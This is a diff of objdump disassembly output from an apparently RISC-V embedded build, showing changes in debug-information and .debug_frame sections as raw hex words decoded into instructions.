+    2e98:	00527f03          	0x527f03
+    2e9c:	0500                	addi	s0,sp,640
+    2e9e:	9a04039b          	0x9a04039b
+    2ea2:	0000                	unimp
+    2ea4:	0400                	addi	s0,sp,512
+    2ea6:	0000                	unimp
+    2ea8:	0f05                	addi	t5,t5,1
+    2eaa:	3bff                	0x3bff
+    2eac:	0000                	unimp
+    2eae:	1005                	c.nop	-31
+    2eb0:	70a2                	flw	ft1,40(sp)
+    2eb2:	0000                	unimp
+    2eb4:	0400                	addi	s0,sp,512
+    2eb6:	0200                	addi	s0,sp,256
+    2eb8:	1ff1                	addi	t6,t6,-4
+    2eba:	0000                	unimp
+    2ebc:	0002fe07          	0x2fe07
+    2ec0:	0300                	addi	s0,sp,384
+    2ec2:	0100                	addi	s0,sp,128
+    2ec4:	050c0303          	lb	t1,80(s8)
+    2ec8:	3208                	fld	fa0,32(a2)
+    2eca:	0300000b          	0x300000b
+    2ece:	0d0a                	slli	s10,s10,0x2
+    2ed0:	00000007          	0x7
+    2ed4:	0400                	addi	s0,sp,512
+    2ed6:	050e0b03          	lb	s6,80(t3)
+    2eda:	7308                	flw	fa0,32(a4)
+    2edc:	0015                	c.nop	5
+    2ede:	0300                	addi	s0,sp,384
+    2ee0:	0f0a                	slli	t5,t5,0x2
+    2ee2:	0805                	addi	a6,a6,1
+    2ee4:	6c64                	flw	fs1,92(s0)
+    2ee6:	0000                	unimp
+    2ee8:	07100e03          	lb	t3,113(zero) # 71 <__stack_size-0x78f>
+    2eec:	0000                	unimp
+    2eee:	0000                	unimp
+    2ef0:	0704                	addi	s1,sp,896
+    2ef2:	0000                	unimp
+    2ef4:	0000                	unimp
+    2ef6:	0304                	addi	s1,sp,384
+    2ef8:	0205110b          	0x205110b
+    2efc:	5704                	lw	s1,40(a4)
+    2efe:	0000                	unimp
+    2f00:	040d0403          	lb	s0,64(s10) # fffe1040 <_heap_end+0x7ffd2840>
+    2f04:	07120503          	lb	a0,113(tp) # 71 <__stack_size-0x78f>
+    2f08:	00000a8b          	0xa8b
+    2f0c:	0704                	addi	s1,sp,896
+    2f0e:	0b1f 0000 0704      	0x70400000b1f
+    2f14:	00000b53          	fadd.s	fs6,ft0,ft0,rne
+    2f18:	0704                	addi	s1,sp,896
+    2f1a:	0000                	unimp
+    2f1c:	0000                	unimp
+    2f1e:	07021003          	lh	zero,112(tp) # 70 <__stack_size-0x790>
+    2f22:	30c2                	fld	ft1,48(sp)
+    2f24:	0000                	unimp
+    2f26:	0304                	addi	s1,sp,384
+    2f28:	1312                	slli	t1,t1,0x24
+    2f2a:	0b05                	addi	s6,s6,1
+    2f2c:	00008367          	jalr	t1,ra
+    2f30:	040e0d03          	lb	s10,64(t3)
+    2f34:	07020e03          	lb	t3,112(tp) # 70 <__stack_size-0x790>
+    2f38:	31d0                	fld	fa2,160(a1)
+    2f3a:	0000                	unimp
+    2f3c:	0304                	addi	s1,sp,384
+    2f3e:	0007040f          	0x7040f
+    2f42:	0000                	unimp
+    2f44:	0300                	addi	s0,sp,384
+    2f46:	0218                	addi	a4,sp,256
+    2f48:	00000007          	0x7
+    2f4c:	0400                	addi	s0,sp,512
+    2f4e:	05141b03          	lh	s6,81(s0)
+    2f52:	d306                	sw	ra,164(sp)
+    2f54:	009e                	slli	ra,ra,0x7
+    2f56:	0300                	addi	s0,sp,384
+    2f58:	00070307          	0x70307
+    2f5c:	0000                	unimp
+    2f5e:	0400                	addi	s0,sp,512
+    2f60:	0704                	addi	s1,sp,896
+    2f62:	0000                	unimp
+    2f64:	0000                	unimp
+    2f66:	0704                	addi	s1,sp,896
+    2f68:	0000                	unimp
+    2f6a:	0000                	unimp
+    2f6c:	07152203          	lw	tp,113(a0)
+    2f70:	0000                	unimp
+    2f72:	0000                	unimp
+    2f74:	0704                	addi	s1,sp,896
+    2f76:	0000                	unimp
+    2f78:	0000                	unimp
+    2f7a:	0304                	addi	s1,sp,384
+    2f7c:	2b051613          	0x2b051613
+    2f80:	6af2                	flw	fs5,28(sp)
+    2f82:	0000                	unimp
+    2f84:	04022f03          	lw	t5,64(tp) # 40 <__stack_size-0x7c0>
+    2f88:	00000007          	0x7
+    2f8c:	0400                	addi	s0,sp,512
+    2f8e:	05171403          	lh	s0,81(a4)
+    2f92:	1e02                	slli	t3,t3,0x20
+    2f94:	0015                	c.nop	5
+    2f96:	0400                	addi	s0,sp,512
+    2f98:	07181603          	lh	a2,113(a6)
+    2f9c:	0000                	unimp
+    2f9e:	0000                	unimp
+    2fa0:	0704                	addi	s1,sp,896
+    2fa2:	0000                	unimp
+    2fa4:	0000                	unimp
+    2fa6:	0304                	addi	s1,sp,384
+    2fa8:	1904                	addi	s1,sp,176
+    2faa:	0205                	addi	tp,tp,1
+    2fac:	26b1                	jal	32f8 <__stack_size+0x2af8>
+    2fae:	0000                	unimp
+    2fb0:	070a0403          	lb	s0,112(s4)
+    2fb4:	0000                	unimp
+    2fb6:	0000                	unimp
+    2fb8:	07080c03          	lb	s8,112(a6)
+    2fbc:	0000                	unimp
+    2fbe:	0000                	unimp
+    2fc0:	07052e03          	lw	t3,112(a0)
+    2fc4:	0000                	unimp
+    2fc6:	0000                	unimp
+    2fc8:	0304                	addi	s1,sp,384
+    2fca:	1a31                	addi	s4,s4,-20
+    2fcc:	0205                	addi	tp,tp,1
+    2fce:	00006c03          	0x6c03
+    2fd2:	071b0603          	lb	a2,113(s6)
+    2fd6:	0000                	unimp
+    2fd8:	0000                	unimp
+    2fda:	0704                	addi	s1,sp,896
+    2fdc:	0000                	unimp
+    2fde:	0000                	unimp
+    2fe0:	0304                	addi	s1,sp,384
+    2fe2:	1c32                	slli	s8,s8,0x2c
+    2fe4:	0205                	addi	tp,tp,1
+    2fe6:	7974                	flw	fa3,116(a0)
+    2fe8:	0000                	unimp
+    2fea:	051d0e03          	lb	t3,81(s10)
+    2fee:	00955a27          	0x955a27
+    2ff2:	0400                	addi	s0,sp,512
+    2ff4:	07060f03          	lb	t5,112(a2)
+    2ff8:	0000                	unimp
+    2ffa:	0000                	unimp
+    2ffc:	0304                	addi	s1,sp,384
+    2ffe:	1e10                	addi	a2,sp,816
+    3000:	2305                	jal	3520 <__stack_size+0x2d20>
+    3002:	00003963          	0x3963
+    3006:	05072603          	lw	a2,80(a4)
+    300a:	0e25                	addi	t3,t3,9
+    300c:	003c                	addi	a5,sp,8
+    300e:	0400                	addi	s0,sp,512
+    3010:	00000007          	0x7
+    3014:	0400                	addi	s0,sp,512
+    3016:	00000007          	0x7
+    301a:	0400                	addi	s0,sp,512
+    301c:	00000007          	0x7
+    3020:	0300                	addi	s0,sp,384
+    3022:	01df 051f 1b13      	0x1b13051f01df
+    3028:	0081                	addi	ra,ra,0
+    302a:	0300                	addi	s0,sp,384
+    302c:	00072017          	auipc	zero,0x72
+    3030:	0000                	unimp
+    3032:	0400                	addi	s0,sp,512
+    3034:	00000007          	0x7
+    3038:	0400                	addi	s0,sp,512
+    303a:	2101e003          	0x2101e003
+    303e:	0604                	addi	s1,sp,768
+    3040:	01e4                	addi	s1,sp,204
+    3042:	2ba4                	fld	fs1,80(a5)
+    3044:	0000                	unimp
+    3046:	0304                	addi	s1,sp,384
+    3048:	020e                	slli	tp,tp,0x3
+    304a:	00000007          	0x7
+    304e:	0400                	addi	s0,sp,512
+    3050:	00000007          	0x7
+    3054:	0400                	addi	s0,sp,512
+    3056:	0304                	addi	s1,sp,384
+    3058:	0b05                	addi	s6,s6,1
+    305a:	00000007          	0x7
+    305e:	0300                	addi	s0,sp,384
+    3060:	0211                	addi	tp,tp,4
+    3062:	00000007          	0x7
+    3066:	0400                	addi	s0,sp,512
+    3068:	05221403          	lh	s0,82(tp) # 52 <__stack_size-0x7ae>
+    306c:	e204                	fsw	fs1,0(a2)
+    306e:	0039                	c.nop	14
+    3070:	0400                	addi	s0,sp,512
+    3072:	05231803          	lh	a6,82(t1)
+    3076:	aa1e                	fsd	ft7,272(sp)
+    3078:	0092                	slli	ra,ra,0x4
+    307a:	0400                	addi	s0,sp,512
+    307c:	2401af03          	lw	t5,576(gp) # 4bc60240 <_data_lma+0x2b85bd20>
+    3080:	0d05                	addi	s10,s10,1
+    3082:	291a                	fld	fs2,384(sp)
+    3084:	0000                	unimp
+    3086:	0404                	addi	s1,sp,512
+    3088:	05090603          	lb	a2,80(s2)
+    308c:	2e02                	fld	ft8,0(sp)
+    308e:	0015                	c.nop	5
+    3090:	0300                	addi	s0,sp,384
+    3092:	2509                	jal	3694 <__stack_size+0x2e94>
+    3094:	00325d07          	0x325d07
+    3098:	0300                	addi	s0,sp,384
+    309a:	0210                	addi	a2,sp,256
+    309c:	00000007          	0x7
+    30a0:	0400                	addi	s0,sp,512
+    30a2:	07261303          	lh	t1,114(a2)
+    30a6:	0000                	unimp
+    30a8:	0000                	unimp
+    30aa:	0704                	addi	s1,sp,896
+    30ac:	00003273          	csrrc	tp,ustatus,zero
+    30b0:	0704                	addi	s1,sp,896
+    30b2:	0000                	unimp
+    30b4:	0000                	unimp
+    30b6:	0304                	addi	s1,sp,384
+    30b8:	2708                	fld	fa0,8(a4)
+    30ba:	00000007          	0x7
+    30be:	0400                	addi	s0,sp,512
+    30c0:	0004                	0x4
+    30c2:	0004                	0x4
+    30c4:	0500                	addi	s0,sp,640
+    30c6:	01b5                	addi	gp,gp,13
+    30c8:	56e2                	lw	a3,56(sp)
+    30ca:	0000                	unimp
+    30cc:	b605                	j	2bec <__stack_size+0x23ec>
+    30ce:	9601                	srai	a2,a2,0x20
+    30d0:	009a                	slli	ra,ra,0x6
+    30d2:	0500                	addi	s0,sp,640
+    30d4:	4bc601b7          	lui	gp,0x4bc60
+    30d8:	0000                	unimp
+    30da:	b805                	j	290a <__stack_size+0x210a>
+    30dc:	6001                	0x6001
+    30de:	0500004f          	0x500004f
+    30e2:	01b9                	addi	gp,gp,14
+    30e4:	16bd                	addi	a3,a3,-17
+    30e6:	0000                	unimp
+    30e8:	ba05                	j	2a18 <__stack_size+0x2218>
+    30ea:	d401                	beqz	s0,2ff2 <__stack_size+0x27f2>
+    30ec:	05000067          	jr	80(zero) # 0 <__stack_size-0x800>
+    30f0:	65b301bb          	0x65b301bb
+    30f4:	0000                	unimp
+    30f6:	bc05                	j	2b26 <__stack_size+0x2326>
+    30f8:	a801                	j	3108 <__stack_size+0x2908>
+    30fa:	005a                	c.slli	zero,0x16
+    30fc:	0500                	addi	s0,sp,640
+    30fe:	01bd                	addi	gp,gp,15
+    3100:	5aa4                	lw	s1,112(a3)
+    3102:	0000                	unimp
+    3104:	be05                	j	2c34 <__stack_size+0x2434>
+    3106:	d901                	beqz	a0,3016 <__stack_size+0x2816>
+    3108:	0010                	0x10
+    310a:	0500                	addi	s0,sp,640
+    310c:	6e9401bf c0050000 	0xc00500006e9401bf
+    3114:	d501                	beqz	a0,301c <__stack_size+0x281c>
+    3116:	0010                	0x10
+    3118:	0500                	addi	s0,sp,640
+    311a:	01c1                	addi	gp,gp,16
+    311c:	1eea                	slli	t4,t4,0x3a
+    311e:	0000                	unimp
+    3120:	c205                	beqz	a2,3140 <__stack_size+0x2940>
+    3122:	df01                	beqz	a4,303a <__stack_size+0x283a>
+    3124:	0038                	addi	a4,sp,8
+    3126:	0500                	addi	s0,sp,640
+    3128:	4bc201c3          	fmadd.d	ft3,ft4,ft8,fs1,rne
+    312c:	0000                	unimp
+    312e:	c405                	beqz	s0,3156 <__stack_size+0x2956>
+    3130:	4301                	li	t1,0
+    3132:	007f                	0x7f
+    3134:	0500                	addi	s0,sp,640
+    3136:	23be01cb          	fnmsub.d	ft3,ft8,fs11,ft4,rne
+    313a:	0000                	unimp
+    313c:	e706                	fsw	ft1,140(sp)
+    313e:	1001                	c.nop	-32
+    3140:	003d                	c.nop	15
+    3142:	0500                	addi	s0,sp,640
+    3144:	0284                	addi	s1,sp,320
+    3146:	48b4                	lw	a3,80(s1)
+    3148:	0000                	unimp
+    314a:	8505                	srai	a0,a0,0x1
+    314c:	9a02                	jalr	s4
+    314e:	05000007          	0x5000007
+    3152:	0286                	slli	t0,t0,0x1
+    3154:	3b81                	jal	2ea4 <__stack_size+0x26a4>
+    3156:	0000                	unimp
+    3158:	8705                	srai	a4,a4,0x1
+    315a:	1b02                	slli	s6,s6,0x20
+    315c:	006a                	c.slli	zero,0x1a
+    315e:	0500                	addi	s0,sp,640
+    3160:	0288                	addi	a0,sp,320
+    3162:	7efd                	lui	t4,0xfffff
+    3164:	0000                	unimp
+    3166:	8905                	andi	a0,a0,1
+    3168:	bf02                	fsd	ft0,440(sp)
+    316a:	05000083          	lb	ra,80(zero) # 50 <__stack_size-0x7b0>
+    316e:	028a                	slli	t0,t0,0x2
+    3170:	4202                	lw	tp,0(sp)
+    3172:	0000                	unimp
+    3174:	8b05                	andi	a4,a4,1
+    3176:	fe02                	fsw	ft0,60(sp)
+    3178:	0041                	c.nop	16
+    317a:	0500                	addi	s0,sp,640
+    317c:	028c                	addi	a1,sp,320
+    317e:	00003b8b          	0x3b8b
+    3182:	8d05                	sub	a0,a0,s1
+    3184:	a902                	fsd	ft0,144(sp)
+    3186:	0001                	nop
+    3188:	0500                	addi	s0,sp,640
+    318a:	028e                	slli	t0,t0,0x3
+    318c:	2359                	jal	3712 <__stack_size+0x2f12>
+    318e:	0000                	unimp
+    3190:	8f05                	sub	a4,a4,s1
+    3192:	9f02                	jalr	t5
+    3194:	0012                	c.slli	zero,0x4
+    3196:	0500                	addi	s0,sp,640
+    3198:	0290                	addi	a2,sp,320
+    319a:	2354                	fld	fa3,128(a4)
+    319c:	0000                	unimp
+    319e:	9105                	srli	a0,a0,0x21
+    31a0:	7d02                	flw	fs10,32(sp)
+    31a2:	0500003b          	0x500003b
+    31a6:	0292                	slli	t0,t0,0x4
+    31a8:	4901                	li	s2,0
+    31aa:	0000                	unimp
+    31ac:	9f06                	add	t5,t5,ra
+    31ae:	9302                	jalr	t1
+    31b0:	003c                	addi	a5,sp,8
+    31b2:	0600                	addi	s0,sp,768
+    31b4:	02d4                	addi	a3,sp,324
+    31b6:	738a                	flw	ft7,160(sp)
+    31b8:	0000                	unimp
+    31ba:	8606                	mv	a2,ra
+    31bc:	00527a03          	0x527a03
+    31c0:	0500                	addi	s0,sp,640
+    31c2:	7135038b          	0x7135038b
+    31c6:	0000                	unimp
+    31c8:	9106                	add	sp,sp,ra
+    31ca:	00527303          	0x527303
+    31ce:	0000                	unimp
+    31d0:	0004                	0x4
+    31d2:	0500                	addi	s0,sp,640
+    31d4:	005d4227          	fsq	ft5,4(s10)
+    31d8:	0500                	addi	s0,sp,640
+    31da:	5128                	lw	a0,96(a0)
+    31dc:	0080                	addi	s0,sp,64
+    31de:	0500                	addi	s0,sp,640
+    31e0:	3d2a                	fld	fs10,168(sp)
+    31e2:	005d                	c.nop	23
+    31e4:	0500                	addi	s0,sp,640
+    31e6:	21e10183          	lb	gp,542(sp)
+    31ea:	0000                	unimp
+    31ec:	8405                	srai	s0,s0,0x1
+    31ee:	ef01                	bnez	a4,3206 <__stack_size+0x2a06>
+    31f0:	000a                	c.slli	zero,0x2
+    31f2:	0500                	addi	s0,sp,640
+    31f4:	0185                	addi	gp,gp,1
+    31f6:	73c1                	lui	t2,0xffff0
+    31f8:	0000                	unimp
+    31fa:	8605                	srai	a2,a2,0x1
+    31fc:	e101                	bnez	a0,31fc <__stack_size+0x29fc>
+    31fe:	05000063          	beq	zero,a6,323e <__stack_size+0x2a3e>
+    3202:	83b20187          	0x83b20187
+    3206:	0000                	unimp
+    3208:	8805                	andi	s0,s0,1
+    320a:	ae01                	j	351a <__stack_size+0x2d1a>
+    320c:	05000083          	lb	ra,80(zero) # 50 <__stack_size-0x7b0>
+    3210:	0189                	addi	gp,gp,2
+    3212:	9166                	add	sp,sp,s9
+    3214:	0000                	unimp
+    3216:	8a05                	andi	a2,a2,1
+    3218:	dd01                	beqz	a0,3130 <__stack_size+0x2930>
+    321a:	0021                	c.nop	8
+    321c:	0500                	addi	s0,sp,640
+    321e:	273a018b          	0x273a018b
+    3222:	0000                	unimp
+    3224:	9b06                	add	s6,s6,ra
+    3226:	8701                	c.srai64	a4
+    3228:	0060                	addi	s0,sp,12
+    322a:	0600                	addi	s0,sp,768
+    322c:	3d1001e7          	jalr	gp,977(zero) # 0 <__stack_size-0x800>
+    3230:	0000                	unimp
+    3232:	d406                	sw	ra,40(sp)
+    3234:	8a02                	jr	s4
+    3236:	06000073          	0x6000073
+    323a:	0386                	slli	t2,t2,0x1
+    323c:	527a                	lw	tp,188(sp)
+    323e:	0000                	unimp
+    3240:	8b05                	andi	a4,a4,1
+    3242:	00713503          	0x713503
+    3246:	0600                	addi	s0,sp,768
+    3248:	0391                	addi	t2,t2,4
+    324a:	00005273          	csrrwi	tp,ustatus,0
+    324e:	9605                	srai	a2,a2,0x21
+    3250:	00527f03          	0x527f03
+    3254:	0500                	addi	s0,sp,640
+    3256:	9a04039b          	0x9a04039b
+    325a:	0000                	unimp
+    325c:	0400                	addi	s0,sp,512
+    325e:	0000                	unimp
+    3260:	0805                	addi	a6,a6,1
+    3262:	6cbe                	flw	fs9,204(sp)
+    3264:	0000                	unimp
+    3266:	0e05                	addi	t3,t3,1
+    3268:	3bff                	0x3bff
+    326a:	0000                	unimp
+    326c:	0f05                	addi	t5,t5,1
+    326e:	70a2                	flw	ft1,40(sp)
+    3270:	0000                	unimp
+    3272:	0400                	addi	s0,sp,512
+    3274:	0000                	unimp
+    3276:	1905                	addi	s2,s2,-31
+    3278:	81a5                	srli	a1,a1,0x9
+    327a:	0000                	unimp
+    327c:	1a05                	addi	s4,s4,-31
+    327e:	00007abf ea01a205 	0xea01a20500007abf
+    3286:	05000067          	jr	80(zero) # 0 <__stack_size-0x800>
+    328a:	01f0                	addi	a2,sp,204
+    328c:	00006007          	0x6007
+    3290:	f105                	bnez	a0,31b0 <__stack_size+0x29b0>
+    3292:	6e01                	0x6e01
+    3294:	006e                	c.slli	zero,0x1b
+    3296:	0500                	addi	s0,sp,640
+    3298:	01f5                	addi	gp,gp,29
+    329a:	35fd                	jal	3188 <__stack_size+0x2988>
+    329c:	0000                	unimp
+    329e:	f805                	bnez	s0,31ce <__stack_size+0x29ce>
+    32a0:	9501                	srai	a0,a0,0x20
+    32a2:	002d                	c.nop	11
+    32a4:	0500                	addi	s0,sp,640
+    32a6:	01ff                	0x1ff
+    32a8:	3f42                	fld	ft10,48(sp)
+    32aa:	0000                	unimp
+    32ac:	8705                	srai	a4,a4,0x1
+    32ae:	f202                	fsw	ft0,36(sp)
+    32b0:	00000083          	lb	ra,0(zero) # 0 <__stack_size-0x800>
 
 Disassembly of section .debug_frame:
 
@@ -45856,378 +35196,410 @@ Disassembly of section .debug_frame:
    8:	7c010003          	lb	zero,1984(sp)
    c:	0d01                	addi	s10,s10,0
    e:	0002                	c.slli64	zero
-  10:	000c                	0xc
+  10:	0064                	addi	s1,sp,12
   12:	0000                	unimp
   14:	0000                	unimp
   16:	0000                	unimp
-  18:	19ac                	addi	a1,sp,248
+  18:	1a46                	slli	s4,s4,0x31
   1a:	2040                	fld	fs0,128(s0)
-  1c:	0012                	c.slli	zero,0x4
+  1c:	02cc                	addi	a1,sp,324
   1e:	0000                	unimp
-  20:	0064                	addi	s1,sp,12
-  22:	0000                	unimp
-  24:	0000                	unimp
-  26:	0000                	unimp
-  28:	19be                	slli	s3,s3,0x2f
-  2a:	2040                	fld	fs0,128(s0)
-  2c:	02cc                	addi	a1,sp,324
-  2e:	0000                	unimp
-  30:	0e42                	slli	t3,t3,0x10
-  32:	6670                	flw	fa2,76(a2)
-  34:	078a                	slli	a5,a5,0x2
-  36:	0181                	addi	gp,gp,0
-  38:	0285                	addi	t0,t0,1
-  3a:	0386                	slli	t2,t2,0x1
-  3c:	05880487          	0x5880487
-  40:	0689                	addi	a3,a3,2
-  42:	098c088b          	0x98c088b
-  46:	0a8d                	addi	s5,s5,3
-  48:	0b8e                	slli	s7,s7,0x3
-  4a:	0d900c8f          	0xd900c8f
-  4e:	0e91                	addi	t4,t4,4
-  50:	0f92                	slli	t6,t6,0x4
-  52:	109c                	addi	a5,sp,96
-  54:	119d                	addi	gp,gp,-25
-  56:	129e                	slli	t0,t0,0x27
-  58:	139f e402 c80a      	0xc80ae402139f
-  5e:	c142                	sw	a6,128(sp)
-  60:	c542                	sw	a6,136(sp)
-  62:	c642                	sw	a6,12(sp)
-  64:	c742                	sw	a6,140(sp)
-  66:	c942                	sw	a6,144(sp)
-  68:	ca42                	sw	a6,20(sp)
-  6a:	cb42                	sw	a6,148(sp)
-  6c:	cc42                	sw	a6,24(sp)
-  6e:	cd42                	sw	a6,152(sp)
-  70:	ce42                	sw	a6,28(sp)
-  72:	cf42                	sw	a6,156(sp)
-  74:	d042                	sw	a6,32(sp)
-  76:	d142                	sw	a6,160(sp)
-  78:	d242                	sw	a6,36(sp)
-  7a:	dc42                	sw	a6,56(sp)
-  7c:	dd42                	sw	a6,184(sp)
-  7e:	de42                	sw	a6,60(sp)
-  80:	df42                	sw	a6,188(sp)
-  82:	0e42                	slli	t3,t3,0x10
-  84:	4400                	lw	s0,8(s0)
-  86:	0024000b          	0x24000b
-  8a:	0000                	unimp
-  8c:	0000                	unimp
-  8e:	0000                	unimp
-  90:	1c8a                	slli	s9,s9,0x22
-  92:	2040                	fld	fs0,128(s0)
-  94:	017a                	slli	sp,sp,0x1e
-  96:	0000                	unimp
-  98:	0e42                	slli	t3,t3,0x10
-  9a:	4630                	lw	a2,72(a2)
-  9c:	0181                	addi	gp,gp,0
-  9e:	0288                	addi	a0,sp,320
-  a0:	0389                	addi	t2,t2,2
-  a2:	c1016a03          	0xc1016a03
-  a6:	c842                	sw	a6,16(sp)
-  a8:	c942                	sw	a6,144(sp)
-  aa:	0e42                	slli	t3,t3,0x10
-  ac:	0000                	unimp
-  ae:	0000                	unimp
-  b0:	003c                	addi	a5,sp,8
+  20:	0e42                	slli	t3,t3,0x10
+  22:	6670                	flw	fa2,76(a2)
+  24:	078a                	slli	a5,a5,0x2
+  26:	0181                	addi	gp,gp,0
+  28:	0285                	addi	t0,t0,1
+  2a:	0386                	slli	t2,t2,0x1
+  2c:	05880487          	0x5880487
+  30:	0689                	addi	a3,a3,2
+  32:	098c088b          	0x98c088b
+  36:	0a8d                	addi	s5,s5,3
+  38:	0b8e                	slli	s7,s7,0x3
+  3a:	0d900c8f          	0xd900c8f
+  3e:	0e91                	addi	t4,t4,4
+  40:	0f92                	slli	t6,t6,0x4
+  42:	109c                	addi	a5,sp,96
+  44:	119d                	addi	gp,gp,-25
+  46:	129e                	slli	t0,t0,0x27
+  48:	139f e402 c80a      	0xc80ae402139f
+  4e:	c142                	sw	a6,128(sp)
+  50:	c542                	sw	a6,136(sp)
+  52:	c642                	sw	a6,12(sp)
+  54:	c742                	sw	a6,140(sp)
+  56:	c942                	sw	a6,144(sp)
+  58:	ca42                	sw	a6,20(sp)
+  5a:	cb42                	sw	a6,148(sp)
+  5c:	cc42                	sw	a6,24(sp)
+  5e:	cd42                	sw	a6,152(sp)
+  60:	ce42                	sw	a6,28(sp)
+  62:	cf42                	sw	a6,156(sp)
+  64:	d042                	sw	a6,32(sp)
+  66:	d142                	sw	a6,160(sp)
+  68:	d242                	sw	a6,36(sp)
+  6a:	dc42                	sw	a6,56(sp)
+  6c:	dd42                	sw	a6,184(sp)
+  6e:	de42                	sw	a6,60(sp)
+  70:	df42                	sw	a6,188(sp)
+  72:	0e42                	slli	t3,t3,0x10
+  74:	4400                	lw	s0,8(s0)
+  76:	0024000b          	0x24000b
+  7a:	0000                	unimp
+  7c:	0000                	unimp
+  7e:	0000                	unimp
+  80:	189c                	addi	a5,sp,112
+  82:	2040                	fld	fs0,128(s0)
+  84:	01aa                	slli	gp,gp,0xa
+  86:	0000                	unimp
+  88:	0e42                	slli	t3,t3,0x10
+  8a:	5250                	lw	a2,36(a2)
+  8c:	0181                	addi	gp,gp,0
+  8e:	0288                	addi	a0,sp,320
+  90:	0389                	addi	t2,t2,2
+  92:	0492                	slli	s1,s1,0x4
+  94:	06940593          	addi	a1,s0,105
+  98:	0795                	addi	a5,a5,5
+  9a:	0896                	slli	a7,a7,0x5
+  9c:	00000997          	auipc	s3,0x0
+  a0:	000c                	0xc
+  a2:	0000                	unimp
+  a4:	ffff                	0xffff
+  a6:	ffff                	0xffff
+  a8:	7c010003          	lb	zero,1984(sp)
+  ac:	0d01                	addi	s10,s10,0
+  ae:	0002                	c.slli64	zero
+  b0:	0018                	0x18
   b2:	0000                	unimp
-  b4:	0000                	unimp
+  b4:	00a0                	addi	s0,sp,72
   b6:	0000                	unimp
-  b8:	1e04                	addi	s1,sp,816
+  b8:	1d12                	slli	s10,s10,0x24
   ba:	2040                	fld	fs0,128(s0)
-  bc:	0268                	addi	a0,sp,268
+  bc:	0018                	0x18
   be:	0000                	unimp
   c0:	0e42                	slli	t3,t3,0x10
-  c2:	01b0                	addi	a2,sp,200
-  c4:	9352                	add	t1,t1,s4
-  c6:	8105                	srli	a0,a0,0x1
-  c8:	8801                	andi	s0,s0,0
-  ca:	8902                	jr	s2
-  cc:	94049203          	lh	tp,-1728(s1)
-  d0:	9506                	add	a0,a0,ra
-  d2:	97089607          	0x97089607
-  d6:	0309                	addi	t1,t1,2
-  d8:	0240                	addi	s0,sp,260
-  da:	42c1                	li	t0,16
-  dc:	42c8                	lw	a0,4(a3)
-  de:	42c9                	li	t0,18
-  e0:	42d2                	lw	t0,20(sp)
-  e2:	42d442d3          	0x42d442d3
-  e6:	42d5                	li	t0,21
-  e8:	42d6                	lw	t0,84(sp)
-  ea:	000e42d7          	0xe42d7
+  c2:	4410                	lw	a2,8(s0)
+  c4:	0181                	addi	gp,gp,0
+  c6:	c146                	sw	a7,128(sp)
+  c8:	0e4a                	slli	t3,t3,0x12
+  ca:	0000                	unimp
+  cc:	001c                	0x1c
+  ce:	0000                	unimp
+  d0:	00a0                	addi	s0,sp,72
+  d2:	0000                	unimp
+  d4:	1d2a                	slli	s10,s10,0x2a
+  d6:	2040                	fld	fs0,128(s0)
+  d8:	001a                	c.slli	zero,0x6
+  da:	0000                	unimp
+  dc:	0e42                	slli	t3,t3,0x10
+  de:	4210                	lw	a2,0(a2)
+  e0:	0288                	addi	a0,sp,320
+  e2:	8146                	mv	sp,a7
+  e4:	4801                	li	a6,0
+  e6:	42c8                	lw	a0,4(a3)
+  e8:	42c1                	li	t0,16
+  ea:	000e                	c.slli	zero,0x3
+  ec:	0024                	addi	s1,sp,8
   ee:	0000                	unimp
-  f0:	003c                	addi	a5,sp,8
+  f0:	00a0                	addi	s0,sp,72
   f2:	0000                	unimp
-  f4:	0000                	unimp
-  f6:	0000                	unimp
-  f8:	206c                	fld	fa1,192(s0)
-  fa:	2040                	fld	fs0,128(s0)
-  fc:	015c                	addi	a5,sp,132
-  fe:	0000                	unimp
- 100:	0e42                	slli	t3,t3,0x10
- 102:	5e60                	lw	s0,124(a2)
- 104:	0389                	addi	t2,t2,2
- 106:	0694                	addi	a3,sp,832
- 108:	0795                	addi	a5,a5,5
- 10a:	01810997          	auipc	s3,0x1810
- 10e:	0288                	addi	a0,sp,320
- 110:	0896                	slli	a7,a7,0x5
- 112:	9270                	0x9270
- 114:	9304                	0x9304
- 116:	0205                	addi	tp,tp,1
- 118:	0a9c                	addi	a5,sp,336
- 11a:	42c1                	li	t0,16
- 11c:	42c8                	lw	a0,4(a3)
- 11e:	42c9                	li	t0,18
- 120:	42d2                	lw	t0,20(sp)
- 122:	42d442d3          	0x42d442d3
- 126:	42d5                	li	t0,21
- 128:	42d6                	lw	t0,84(sp)
- 12a:	000e42d7          	0xe42d7
- 12e:	0b42                	slli	s6,s6,0x10
- 130:	0048                	addi	a0,sp,4
- 132:	0000                	unimp
- 134:	0000                	unimp
- 136:	0000                	unimp
- 138:	21c8                	fld	fa0,128(a1)
- 13a:	2040                	fld	fs0,128(s0)
- 13c:	0124                	addi	s1,sp,136
+  f4:	1d44                	addi	s1,sp,692
+  f6:	2040                	fld	fs0,128(s0)
+  f8:	0040                	addi	s0,sp,4
+  fa:	0000                	unimp
+  fc:	0e42                	slli	t3,t3,0x10
+  fe:	4810                	lw	a2,16(s0)
+ 100:	0389                	addi	t2,t2,2
+ 102:	0492                	slli	s1,s1,0x4
+ 104:	0181                	addi	gp,gp,0
+ 106:	0288                	addi	a0,sp,320
+ 108:	c16a                	sw	s10,128(sp)
+ 10a:	c844                	sw	s1,20(s0)
+ 10c:	c942                	sw	a6,144(sp)
+ 10e:	d242                	sw	a6,36(sp)
+ 110:	0e42                	slli	t3,t3,0x10
+ 112:	0000                	unimp
+ 114:	0028                	addi	a0,sp,8
+ 116:	0000                	unimp
+ 118:	00a0                	addi	s0,sp,72
+ 11a:	0000                	unimp
+ 11c:	1d84                	addi	s1,sp,752
+ 11e:	2040                	fld	fs0,128(s0)
+ 120:	008c                	addi	a1,sp,64
+ 122:	0000                	unimp
+ 124:	0e42                	slli	t3,t3,0x10
+ 126:	4210                	lw	a2,0(a2)
+ 128:	0389                	addi	t2,t2,2
+ 12a:	8150                	0x8150
+ 12c:	8801                	andi	s0,s0,0
+ 12e:	9202                	jalr	tp
+ 130:	0204                	addi	s1,sp,256
+ 132:	c16c                	sw	a1,68(a0)
+ 134:	c844                	sw	s1,20(s0)
+ 136:	c942                	sw	a6,144(sp)
+ 138:	d242                	sw	a6,36(sp)
+ 13a:	0e42                	slli	t3,t3,0x10
+ 13c:	0000                	unimp
  13e:	0000                	unimp
- 140:	0e42                	slli	t3,t3,0x10
- 142:	5840                	lw	s0,52(s0)
- 144:	0288                	addi	a0,sp,320
- 146:	0389                	addi	t2,t2,2
- 148:	0492                	slli	s1,s1,0x4
